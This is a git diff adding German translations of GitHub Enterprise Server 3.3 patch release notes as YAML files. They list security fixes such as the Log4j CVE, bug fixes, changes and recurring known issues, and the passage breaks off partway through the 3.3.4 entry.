diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/1.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/1.yml
new file mode 100644
index 0000000000..ae0ba6e064
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/1.yml
@@ -0,0 +1,17 @@
+date: '2021-12-13'
+sections:
+  security_fixes:
+    - '{% octicon "alert" aria-label="The alert icon" %} **Kritisch:** Ein Sicherheitsrisiko bei der Remotecodeausführung in der Log4j-Bibliothek, die als [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) identifiziert wurde, betraf alle Versionen von {% data variables.product.prodname_ghe_server %} vor 3.3.1. Die Log4j-Bibliothek wird in einem Open Source-Dienst verwendet, der auf der {% data variables.product.prodname_ghe_server %}-Instanz ausgeführt wird. Dieses Sicherheitsrisiko wurde in den {% data variables.product.prodname_ghe_server %}-Versionen 3.0.22, 3.1.14, 3.2.6 und 3.3.1 behoben.  Weitere Informationen findest du in [diesem Beitrag] (https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) des GitHub-Blogs.'
+    - '**Aktualisierung vom 17. Dezember 2021**: Die Korrekturen in diesem Release minimieren auch [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046), das nach diesem Release veröffentlicht wurde. Es ist kein zusätzliches Upgrade für {% data variables.product.prodname_ghe_server %} erforderlich, um sowohl CVE-2021-44228 als auch CVE-2021-45046 zu minimieren.'
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit GitHub Connect aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den GitHub.com-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'    
+    - '{% data variables.product.prodname_ghe_server %} 3.3-Instanzen, die in Azure installiert und mit 32+ CPU-Kernen bereitgestellt wurden, werden aufgrund eines Fehlers im aktuellen Linux-Kernel nicht gestartet. [Aktualisiert: 08.04.2022]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/10.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/10.yml
new file mode 100644
index 0000000000..67d630d0c8
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/10.yml
@@ -0,0 +1,22 @@
+date: '2022-06-28'
+sections:
+  security_fixes:
+    - '**MITTEL**: Stellt sicher, dass `github.company.com` und `github-company.com` von internen Diensten nicht als identische Hostnamen ausgewertet werden, um einen potenziellen SSRF-Angriff (Server-Side Request Forgery, serverseitige Anforderungsfälschung) zu verhindern.'
+    - "**NIEDRIG**: Ein Angreifer konnte mit einem Path\_Traversal-Angriff über HTTP selbst dann auf die Verwaltungskonsole zugreifen, wenn externe Firewallregeln den HTTP-Zugriff blockierten."
+    - 'Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert.'
+  bugs:
+    - 'In einigen Fällen wurden Websiteadministratoren nicht automatisch als Unternehmensbesitzer hinzugefügt.'
+    - 'Nach dem Mergen eines Branchs in den Standardbranch verweist der Link „Verlauf“ für eine Datei immer noch auf den vorherigen Branch statt auf den Zielbranch.'
+  changes:
+    - 'Beim Erstellen oder Aktualisieren von Prüfläufen oder Prüfsuiten konnte `500 Interner Serverfehler` zurückgegeben werden, wenn der Wert für bestimmte Felder, z. B. den Namen, zu lang war.'
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %}\_3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - 'Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen.'
+    - 'Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.'
+    - 'Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt.'
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255\_Zeichen lang ist."
+    - 'Wenn die Option zum Durchsuchen von GitHub.com mit {% data variables.product.prodname_github_connect %} aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den {% data variables.product.prodname_dotcom_the_website %}-Suchergebnissen enthalten.'
+    - 'Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden.'
+    - 'Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen.'
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/11.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/11.yml
new file mode 100644
index 0000000000..5efad8cf79
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/11.yml
@@ -0,0 +1,30 @@
+date: '2022-07-21'
+sections:
+  security_fixes:
+    - '**MITTEL**: Verhindert einen Angriff, bei dem eine serverseitige Anforderungsfälschung (Server-Side Request Forgery, SSRF) die Subversion-Brücke (SVN) potenziell zwingen könnte, Remotecode auszuführen, indem beliebige Daten in Memcached eingeschleust werden.'
+    - '**MITTEL**: Verhindert, dass ein Angreifer Javascript-Code ausführt, indem er ein Sicherheitsrisiko in Cross-Site Scripting (XSS) in Dropdown-Benutzeroberflächenelementen innerhalb der Webschnittstelle von GitHub Enterprise Server ausnutzt.'
+    - 'Aktualisiert Grafana auf Version 7.5.16, die verschiedene Sicherheitsrisiken behebt, darunter [CVE-2020-13379](https://github.com/advisories/GHSA-wc9w-wvq2-ffm9) und [CVE-2022-21702](https://github.com/grafana/grafana/security/advisories/GHSA-xc3p-28hw-q24g).'
+    - 'Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert.'
+    - '**MITTEL**: Ein gespeichertes XSS-Sicherheitsrisiko wurde in GitHub Enterprise Server identifiziert, das die Einschleusung beliebiger Attribute ermöglichte. Diese Einschleusung wurde durch die Inhaltssicherheitsrichtlinie (Content Security Policy, CSP) von Github blockiert. Dieses Sicherheitsrisiko wurde über das GitHub Bug Bounty Program gemeldet, und ihm wurde der Name [CVE-2022-23733](https://www.cve.org/CVERecord?id=CVE-2022-23733) zugeordnet. [Aktualisiert: 31.07.2022]'
+  bugs:
+    - 'Ein Problem wurde behoben, bei dem die Dateien in den Artefakt-ZIP-Archiven die Berechtigung 000 hatten, wenn sie mit einem Entpackungsprogramm entpackt wurden. Jetzt werden die Berechtigungen für die Dateien wie in GitHub.com auf 644 gesetzt.'
+    - 'In einigen Fällen konnte der Collectd-Daemon zu viel Arbeitsspeicher verbrauchen.'
+    - 'In einigen Fällen konnten sich Backups von rotierten Protokolldateien ansammeln und übermäßigen Speicherplatz verbrauchen.'
+    - 'Nach einem Upgrade auf ein neues Featurerelease und einer anschließenden Konfigurationsausführung konnte Elasticsearch beim Neuerstellen von Indizes übermäßige Ausnahmen protokollieren.'
+    - 'In einigen Fällen, in denen ein geschützter Branch mehr als eine zustimmende Überprüfung erforderte, konnte ein Pull Request mit weniger als der erforderlichen Anzahl von zustimmenden Überprüfungen gemergt werden.'
+    - 'Auf Instanzen, die LDAP-Authentifizierung verwenden, platzierte die Authentifizierungsaufforderung für den Sudo-Modus den Cursor standardmäßig fälschlicherweise im Kennwortfeld, wenn sowohl Textfelder für einen Benutzernamen als auch ein Kennwort sichtbar waren.'
+  changes:
+    - 'Das Befehlszeilenhilfsprogramm `ghe-set-password` startet die erforderlichen Dienste automatisch, wenn die Instanz im Wiederherstellungsmodus gebootet wird.'
+    - 'Metriken für `aqueduct`-Hintergrundprozesse werden für die Collectd-Weiterleitung gesammelt und in der Verwaltungskonsole angezeigt.'
+    - 'Der Speicherort des Datenbankmigrations- und Konfigurationsausführungsprotokolls, `/data/user/common/ghe-config.log`, wird jetzt auf der Seite angezeigt, die eine laufende Migration beschreibt.'
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %}\_3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - 'Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen.'
+    - 'Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.'
+    - 'Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt.'
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255\_Zeichen lang ist."
+    - 'Wenn die Option zum Durchsuchen von GitHub.com mit {% data variables.product.prodname_github_connect %} aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den {% data variables.product.prodname_dotcom_the_website %}-Suchergebnissen enthalten.'
+    - 'Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden.'
+    - 'Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen.'
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/12.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/12.yml
new file mode 100644
index 0000000000..e3c6861f08
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/12.yml
@@ -0,0 +1,23 @@
+date: '2022-08-11'
+sections:
+  security_fixes:
+    - |
+      **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf).
+    - |
+      **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com).  
+  bugs:
+    - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)."
+  changes:
+    - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)."
+  known_issues:
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command.
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - '{% data variables.product.prodname_actions %} storage settings cannot be validated and saved in the {% data variables.enterprise.management_console %} when "Force Path Style" is selected, and must instead be configured with the `ghe-actions-precheck` command line utility.'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
+    - The [file finder](/search-github/searching-on-github/finding-files-on-github) does not return any results. To restore functionality, reinstall the 3.3.12 patch release using a full upgrade package. For more information, see "[Upgrading GitHub Enterprise Server](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#upgrading-with-an-upgrade-package)."
\ No newline at end of file
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/13.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/13.yml
new file mode 100644
index 0000000000..42f4401aee
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/13.yml
@@ -0,0 +1,23 @@
+date: '2022-08-30'
+sections:
+  bugs:
+    - Nach dem Freigeben eines Repositorys für den temporären Zugriff konnte ein Siteadministrator die Einstellungen für Sicherheitsprodukte im Repository nicht mehr verwalten. 
+    - Doppelte administrative SSH-Schlüssel konnten sowohl in der Verwaltungskonsole als auch in der Datei `/home/admin/.ssh/authorized_keys` vorkommen.
+    - In einigen Fällen konnte die Ausführung von `ghe-cluster-config-apply` eine leere Konfiguration zu bestehenden Knoten in einem Cluster replizieren. 
+    - "In einigen Fällen wurden Konfigurationsläufe, die mit `ghe-config-apply` gestartet wurden, nicht abgeschlossen oder gaben den Fehler `Nicht übereinstimmende Containerzahl` zurück." 
+    - Nach dem Aktualisieren eines selbstsignierten TLS-Zertifikats auf einer GitHub Enterprise Server-Instanz wurden Benutzeroberflächenelemente auf einigen Seiten der Weboberfläche nicht angezeigt. 
+    - "In einigen Fällen konnten Hintergrundaufgaben aufgrund einer Bibliothek, die gleichzeitig verwendet wurde, obwohl sie nicht threadsicher war, zum Stillstand kommen."
+  changes:
+    - "Die Generierung von Supportbundles wird durch die parallelisierte Protokollbereinigung beschleunigt. Weitere Informationen zu Supportbundles findest du unter [Daten für den GitHub-Support bereitstellen](/support/contacting-github-support/providing-data-to-github-support)."
+    - "Das Unternehmensüberwachungsprotokoll enthält jetzt mehr benutzergenerierte Ereignisse, wie z. B. `project.create`. Die REST-API liefert auch zusätzliche benutzergenerierte Ereignisse, wie z. B. `repo.create`. Weitere Informationen findest du unter [Zugreifen auf das Überwachungsprotokoll für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise) und [Verwenden der Überwachungsprotokoll-API für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)."
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit {% data variables.product.prodname_github_connect %} aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den {% data variables.product.prodname_dotcom_the_website %}-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/2.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/2.yml
new file mode 100644
index 0000000000..60c1020b45
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/2.yml
@@ -0,0 +1,32 @@
+date: '2022-01-18'
+sections:
+  security_fixes:
+    - 'Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert. Mit diesen Updates wurde Log4j auf die Version 2.17.1 aktualisiert. Hinweis: Vorherige Risikominderungen, die in 3.3.1, 3.2.6, 3.1.14 und 3.0.22 veröffentlicht wurden, reichen aus, um die Auswirkungen von CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 und CVE-2021-44832 in diesen Versionen von GitHub Enterprise Server zu behandeln.'
+    - Bereinigen von mehr Geheimnissen in den generierten Supportbundles
+    - "Benutzer in Teams mit der Rolle des Sicherheitsmanagers werden jetzt über Sicherheitswarnungen für Repositorys, die sie überwachen, benachrichtigt."
+    - "Die Sicherheits-Manager-Komponente zeigt eine weniger aggressive Warnung an, sobald die maximale Anzahl von Teams erreicht ist."
+    - "Die Seite zur Verwaltung des Repositoryzugriffs sollte 403 zurückgeben, wenn versucht wird, ein Sicherheits-Manager-Team aus dem Repository zu entfernen."
+    - Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert.
+  bugs:
+    - Selbstgehostete Actions-Runner konnten nach einem Upgrade von einer älteren GHES-Installation keine Selbstaktualisierung oder neue Aufträge ausführen.
+    - Speichereinstellungen konnten bei der Konfiguration von MinIO als Blobspeicher für GitHub-Pakete nicht validiert werden.
+    - "Die Speichereinstellungen für GitHub Actions konnten nicht in der Verwaltungskonsole validiert und gespeichert werden, wenn „Pfadformat erzwingen“ ausgewählt war."
+    - Actions wäre nach einer Aktualisierung mit eingestelltem Wartungsmodus in einem gestoppten Zustand verblieben.
+    - Beim Ausführen von `ghe-config-apply` können manchmal Fehler aufgrund von Berechtigungsproblemen in `/data/user/tmp/pages` auftreten.
+    - Die Schaltfläche zum Speichern in der Verwaltungskonsole konnte durch Scrollen in Browsern mit niedrigerer Auflösung nicht erreicht werden.
+    - IOPS- und Speicherdatenverkehr-Überwachungsdiagramme wurden nach dem Collectd-Versionsupgrade nicht aktualisiert.
+    - Einige Aufträge in Verbindung mit Webhooks konnten große Mengen an Protokollen generieren.
+    - Auf den Websiteadministratorseiten war ein Navigationselement für die Abrechnung sichtbar.
+    - "Verschiedene Dokumentationslinks führten zum Fehler „404: Nicht gefunden“."
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit GitHub Connect aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den GitHub.com-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data variables.product.prodname_ghe_server %} 3.3-Instanzen, die in Azure installiert und mit mehr als 32 CPU-Kernen bereitgestellt wurden, werden aufgrund eines Fehlers im aktuellen Linux-Kernel nicht gestartet. [Aktualisiert: 08.04.2022]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/3.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/3.yml
new file mode 100644
index 0000000000..5240444f5f
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/3.yml
@@ -0,0 +1,30 @@
+date: '2022-02-01'
+sections:
+  security_fixes:
+    - '**MITTEL**:  Aufrufe der Geheimnisüberprüfungs-API konnten Warnmeldungen für Repositorys außerhalb des Bereichs der Anforderung zurückgeben.'
+    - Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert.
+  bugs:
+    - "Pages war nach einer MySQL-Geheimnisrotation nicht verfügbar, bis `nginx` manuell neu gestartet wurde."
+    - "Bei Migrationen konnte ein Fehler auftreten, wenn {% data variables.product.prodname_actions %} aktiviert wurde."
+    - "Wenn der Wartungszeitplan mit einem ISO 8601-konformen Datum eingerichtet wurde, stimmte die tatsächlich festgelegte Zeit nicht überein, da die Zeitzone nicht in UTC umgewandelt wurde."
+    - In der Konsole wurden falsche Fehlermeldungen bezüglich `cloud-config.service` ausgegeben.
+    - "Die Versionsnummer wurde nicht korrekt aktualisiert, nachdem ein Hotpatch mithilfe von `ghe-cluster-each` installiert wurde."
+    - "Webhook-Tabellenbereinigungsaufträge konnten gleichzeitig ausgeführt werden, was zu Ressourcenkonflikten und einer Verlängerung der Auftragslaufzeit führte."
+    - "Wenn `ghe-repl-teardown` vom primären System aus für ein Replikat ausgeführt wurde, wurde das Replikat nicht aus der MSSQL-Verfügbarkeitsgruppe entfernt."
+    - "Die Möglichkeit, E-Mail-basierte Benachrichtigungen auf Benutzer zu beschränken, deren E-Mail-Adressen zu einer verifizierten oder genehmigten Domäne gehörten, funktionierte nicht richtig."
+    - "Wenn die CAS-Authentifizierung verwendet wurde und die Option „Gesperrte Benutzer reaktivieren“ aktiviert war, wurden gesperrte Benutzer nicht automatisch reaktiviert."
+    - Eine langwierige Datenbankmigration im Zusammenhang mit den Einstellungen für Sicherheitswarnungen konnte den Abschluss des Upgrades verzögern.
+  changes:
+    - Der Datenverbindungseintrag von GitHub Connect umfasst nun die Anzahl von aktiven und inaktiven Benutzern sowie die konfigurierte Inaktivitätsdauer.
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit GitHub Connect aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den GitHub.com-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data variables.product.prodname_ghe_server %} 3.3-Instanzen, die in Azure installiert und mit 32+ CPU-Kernen bereitgestellt wurden, werden aufgrund eines Fehlers im aktuellen Linux-Kernel nicht gestartet. [Aktualisiert: 08.04.2022]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/4.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/4.yml
new file mode 100644
index 0000000000..c5b71fd64f
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/4.yml
@@ -0,0 +1,25 @@
+date: '2022-02-17'
+sections:
+  security_fixes:
+    - "Es war möglich, dass ein Benutzer einen Benutzer oder eine Organisation mit dem Namen „saml“ registrierte."
+    - Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert. 
+  bugs:
+    - "Die Speichereinstellungen für GitHub Packages konnten nicht in der Verwaltungskonsole validiert und gespeichert werden, wenn Azure Blob Storage verwendet wurde." 
+    - Bei der Konfigurationsoption mssql.backup.cadence trat bei ghe-config-check ein Fehler mit einer Warnung wegen eines ungültigen Zeichensatzes auf.
+    - "SystemStackError (Stapel zu tief), wenn mehr als 2<sup>^16</sup> Schlüssel von Memcached abgerufen wurden, wurde behoben." 
